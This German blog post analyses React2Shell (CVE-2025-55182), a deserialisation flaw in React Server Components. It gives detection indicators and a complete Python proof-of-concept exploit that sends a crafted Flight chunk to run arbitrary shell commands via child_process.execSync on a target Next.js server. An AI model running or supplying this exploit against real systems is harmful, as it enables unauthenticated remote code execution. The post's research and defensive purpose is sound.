
React2Shell, CVE-2025-55182, RCE Vulnerability: Eine kritische Analyse des unsicheren Deserialisierungsfehlers in React Server Components, der eine nicht authentifizierte Remote-Code-Ausführung in Standard-React/Next.js-Umgebungen ermöglicht.
React2Shell (CVE-2025-55182) ist eine kritische Remote Code Execution (RCE)-Schwachstelle, die React Server Components (RSC) in React 19.x und Frameworks wie Next.js betrifft. Der Fehler liegt in der unsicheren Deserialisierung von „Flight“-Protokoll-Chunks, die es Angreifern ermöglicht, bösartige Strukturen einzuschleusen, die zum Function-Konstruktor aufgelöst werden, was zur Ausführung beliebigen JavaScripts auf dem Server führt.
React Server Components wurden eingeführt, um Client-/Server-Rendering mit einem nahtloseren, komponierbaren Workflow zu verbinden. Dazu verwendet React einen benutzerdefinierten binärartigen Serialisierungskanal namens Flight-Protokoll.
Leider enthielt die Deserialisierungslogik dieses Protokolls einen subtilen Fehler, der es Angreifern ermöglichte, bösartige Payloads tief in die React-Laufzeit einzuschleusen.
Das Ergebnis? Eine vollständige, nicht authentifizierte Remote-Code-Ausführungskette, jetzt React2Shell genannt – und ja, ihre Auswirkungen sind mit Log4Shell in Größenordnung und Zugänglichkeit vergleichbar. 🔥
Dieser Artikel erklärt die Schwachstelle in einem klaren, handlungsorientierten Format – ideal für VAPT-Praktiker, Forscher und Verteidiger.
RSC kommuniziert mit dem Client durch das Senden serialisierter „Chunks“, die Referenzen, Objekte, Komponentenmetadaten, asynchrone Grenzen usw. darstellen.
Wenn diese Chunks auf dem Server oder Client ankommen, deserialisiert React sie zurück in Objekte und Funktionen.
Dieser Prozess geht davon aus, dass die Datenstruktur sicher ist. Hier ist es kaputt gegangen.
Angreifer fanden einen Weg, bösartige Chunks zu erstellen, die Folgendes enthalten:
Beispielmuster:
"$then": { "constructor": { "prototype": null } }
Während der Deserialisierung interpretiert React dieses Objekt als thenable und ruft auf:
promise.then(...)
Aber hier ist then tatsächlich der Function-Konstruktor, sodass der Aufruf zu:
(new Function("malicious_payload"))();
Dies führt zur Ausführung beliebigen JavaScripts in der Node.js-Umgebung, die React Server Components ausführt.
Boom – Sie haben RCE.
Deshalb haben Cloud-Anbieter, Sicherheitsteams und CERTs sofort reagiert, als dies öffentlich wurde.
Multipart-POST-Anfragen an:
/react/rsc/server, /flight, /server-actionsPayloads mit Schlüsseln wie:
$then$proto$constructor$typeVerdächtige Node.js-Ausführungen wie:
node -e "<payload>"
Unerwartete Dateien unter:
/tmp/react-rce-*/var/tmp/node-rce-*⚠️ Wichtiger Hinweis
Ich besitze nicht diesen PoC.
Er wird aus dem folgenden öffentlichen Repository referenziert, mit voller Anerkennung des Autors:
👉 https://github.com/msanft/CVE-2025-55182
Der folgende Proof-of-Concept (PoC) wird ausschließlich für Bildungs- und defensive Cybersicherheitsforschung bereitgestellt.
Er darf nur in isolierten Laborumgebungen oder auf Systemen ausgeführt werden, für die Sie ausdrückliche Genehmigung zum Testen haben.
Missbrauch dieses Codes für unbefugten Zugriff, Ausbeutung oder Systemkompromittierung ist illegal, unethisch und strafbar nach Cybersicherheitsgesetzen.
Handeln Sie verantwortungsvoll. 🛡️💻
Unten ist der vollständige PoC:
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
Falls Sie diesen PoC ausgeführt haben, stellen Sie sicher, dass dies in einer kontrollierten Sandbox und nicht auf Produktions- oder Drittressourcen geschah.
Diese Demonstration dient ausschließlich dazu, Analysten, Entwicklern und Verteidigern zu helfen, CVE-2025-55182 (React2Shell) zu verstehen, zu erkennen und zu entschärfen.
Jede böswillige oder unbefugte Nutzung dieser Informationen ist strengstens untersagt und wird nicht vom Autor befürwortet.
Bleiben Sie ethisch. Bleiben Sie sicher. 🐉🔥
React2Shell ist eine eindringliche Erinnerung daran, dass Serialisierungsebenen, so elegant sie auch sein mögen, eine der gefährlichsten Komponenten moderner Frameworks bleiben. Sobald beliebige Objekte ohne Validierung die Laufzeit berühren, wird die Kette zur RCE schmerzhaft kurz.
Danke fürs Lesen – und wie immer: Bleiben Sie ethisch beim Hacken, lernen Sie ständig weiter und lassen Sie das Feuer der Sicherheit brennen. 🔥🐉
Wenn dir dieser Beitrag gefallen hat oder du mit meiner Cybersicherheitsforschung in Kontakt bleiben möchtest:
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010